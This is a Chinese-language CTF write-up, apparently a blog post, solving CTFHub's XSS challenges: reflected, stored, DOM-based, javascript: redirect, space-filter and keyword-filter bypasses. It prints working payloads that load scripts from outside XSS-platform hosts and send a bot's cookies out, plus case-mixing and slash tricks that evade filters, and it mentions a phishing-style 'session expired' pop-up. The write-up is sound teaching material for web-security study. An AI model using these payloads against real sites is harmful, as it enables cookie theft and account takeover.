web-XSS-CTFHub
前言
在众多的CTF平台当中,作者认为CTFHub对于初学者来说,是入门平台的不二之选。CTFHub通过自己独特的技能树模块,可以帮助初学者来快速入门。具体请看官方介绍:CTFHub。
作者更新了CTFHub系列,希望小伙伴们多多支持。
作者的CTFHub技能树汇总:
CTFHub技能树Web汇总-CSDN博客
注:如果想做本文的题目,可以自己搭建一个XSS接受平台或者是用在线的XSS平台。
反射型
发现有两个表单
第一个表单用来试验,看是否有漏洞
从URL上发现原来是GET传参,也可以直接在URL上传参进行试验
第二个表单显示sent URL to bot,这是因为反射型XSS在用户点击后才会生效,但这道题没人点击我们生成的payload,只好发送给robot,让程序模拟用户点击,使我们的payload生效。
这里我们直接利用在线网站生成的payload,大家需用自己网站生成的的payload
我们在第二个表单中发送payload给后台的bot让其遭受xss攻击(模拟管理员点击了恶意xss链接盗取cookie)
Ok了,xss链接生效了,靶机上线
我们查看返回的xss数据,在cookie中发现flag
存储型
还是两个表单,一个尝试,一个bot
和上题一样,先测试一下XSS漏洞
这次是POST传参
传递的内容是URL编码后的payload
在第一个表单里写一下在线平台的payload(其实只尝试是否弹窗就可以了)
注意:在第一个框试验在线平台的payload会导致我们自己的主机上线,但我们的主机没有flag,找flag时不要找错了
这里的“会话过期”是我的在线xss平台设计的弹窗,目的是诱导用户重新登陆,从而控制用户账号。但实际上没啥用,仅仅有弹窗的效果,相当于alert("此会话已过期,您需要重新登陆"),这里暂时忽略。
右键查看源代码,看看xss是怎么形成的
第一个框上传后,再将当前url粘贴到第二个框中发给bot,这样就把有我们payload的页面发给bot(存储型与反射型区别就在于此),从而上线主机
还是cookie里有flag
DOM反射
直接输入payload竟然没弹窗,看看源代码,原来是没有去闭合语句
这里我们要去闭合语句
';</script><sCRiPt sRC=//xs.pe/FVQ></sCrIpT><script>
成功弹窗
看一下源代码,完美闭合
还是发给bot,看cookie
DOM跳转
一进来看见Submit不好使了,还以为有前端过滤
捣鼓一顿,发现就算Submit可以提交了也没啥用
遂观察源代码
以下是上面JavaScript代码的分步解释:
1、location.search 获取当前URL中?号开始的查询字符串部分
例如:URL为 http://example.com?jumpto=news.html 时,location.search 返回 ? jumpto=news.html
2、split("=") 用等号分割查询字符串
上述例子会被分割为数组:["?jumpto", "news.html"]
3、target[0].slice(1) 处理第一个参数
target[0] 是 "?jumpto"
.slice(1) 去掉第一个字符问号,得到 "jumpto"
4、判断 if (target[0].slice(1) == "jumpto")
验证第一个参数名是否为jumpto
5、location.href = target[1] 执行跳转
当条件满足时,页面会自动跳转到target[1]指定的地址
简单来说,这段代码的作用是从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL。
而当我们传递类似于jumpto=javascript:alert(1)这样的代码时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。
验证一下
成功弹窗
然后构造链接来加载xss平台的代码:
?jumpto=javascript:$.getScript("//uj.ci/a3b")
这段代码使用了jQuery的$.getScript()函数来异步加载并执行来自xss平台的js脚本,使用前提是网站引用了jQuery。
发给机器人,
成功获得flag
注意:像作者之前使用的TLXSS平台就不支持jQuery,从而耗费了很长时间,大家如果做不出来就换一个xss平台(而且不要再换成同类型的平台,这个坑大家一定要注意)
过滤空格
没什么说的,把payload换一下就行
因为会过滤空格,所以我们用下面的payload
<sCRiPt/sRC=//xs.pe/FVQ></sCrIpT>
发给bot
看cookie
过滤关键词
先尝试一下
直接弹窗了
应该是在线网站的payload有大小写绕过,尝试了一下,下面这句就不会弹窗,应该是过滤了script
既然在线网站的payload可行,那我们直接发给bot,看cookie,成功